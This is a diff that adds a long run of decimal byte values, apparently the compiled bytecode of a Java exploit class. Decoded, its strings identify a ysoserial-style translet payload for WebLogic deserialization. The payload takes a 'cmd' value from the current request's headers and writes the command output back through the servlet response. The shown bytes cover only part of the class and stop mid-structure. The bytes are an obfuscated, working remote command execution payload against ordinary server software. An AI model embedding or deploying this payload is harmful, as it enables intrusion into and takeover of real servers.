+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 100
+
+
+ 111
+
+
+ 99
+
+
+ 117
+
+
+ 109
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 45
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 66
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 7
+
+
+ 0
+
+
+ 39
+
+
+ 1
+
+
+ 0
+
+
+ -90
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 65
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 40
+
+
+ 1
+
+
+ 0
+
+
+ 51
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 64
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 114
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 47
+
+
+ 65
+
+
+ 98
+
+
+ 115
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 57
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 60
+
+
+ 99
+
+
+ 108
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 7
+
+
+ 0
+
+
+ 42
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 99
+
+
+ 117
+
+
+ 114
+
+
+ 114
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 44
+
+
+ 0
+
+
+ 45
+
+
+ 10
+
+
+ 0
+
+
+ 43
+
+
+ 0
+
+
+ 46
+
+
+ 1
+
+
+ 0
+
+
+ 27
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 119
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 47
+
+
+ 69
+
+
+ 120
+
+
+ 101
+
+
+ 99
+
+
+ 117
+
+
+ 116
+
+
+ 101
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 7
+
+
+ 0
+
+
+ 48
+
+
+ 1
+
+
+ 0
+
+
+ 14
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 67
+
+
+ 117
+
+
+ 114
+
+
+ 114
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 119
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 47
+
+
+ 87
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 65
+
+
+ 100
+
+
+ 97
+
+
+ 112
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 51
+
+
+ 10
+
+
+ 0
+
+
+ 49
+
+
+ 0
+
+
+ 52
+
+
+ 1
+
+
+ 0
+
+
+ 44
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 113
+
+
+ 117
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 54
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 99
+
+
+ 109
+
+
+ 100
+
+
+ 8
+
+
+ 0
+
+
+ 56
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 72
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 38
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 58
+
+
+ 0
+
+
+ 59
+
+
+ 10
+
+
+ 0
+
+
+ 55
+
+
+ 0
+
+
+ 60
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 49
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 62
+
+
+ 0
+
+
+ 63
+
+
+ 10
+
+
+ 0
+
+
+ 55
+
+
+ 0
+
+
+ 64
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 71
+
+
+ 66
+
+
+ 75
+
+
+ 8
+
+
+ 0
+
+
+ 66
+
+
+ 1
+
+
+ 0
+
+
+ 45
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 115
+
+
+ 101
+
+
+ 116
+
+
+ 67
+
+
+ 104
+
+
+ 97
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 69
+
+
+ 110
+
+
+ 99
+
+
+ 111
+
+
+ 100
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 70
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ 72
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 74
+
+
+ 0
+
+
+ 75
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ 76
+
+
+ 1
+
+
+ 0
+
+
+ 35
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ 78
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 80
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 34
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 97
+
+
+ 112
+
+
+ 112
+
+
+ 101
+
+
+ 110
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 44
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 83
+
+
+ 0
+
+
+ 84
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 85
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 32
+
+
+ 58
+
+
+ 32
+
+
+ 13
+
+
+ 10
+
+
+ 8
+
+
+ 0
+
+
+ 87
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 116
+
+
+ 111
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 89
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 91
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ 79
+
+
+ 0
+
+
+ 93
+
+
+ 1
+
+
+ 0
+
+
+ 49
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 95
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 119
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 24
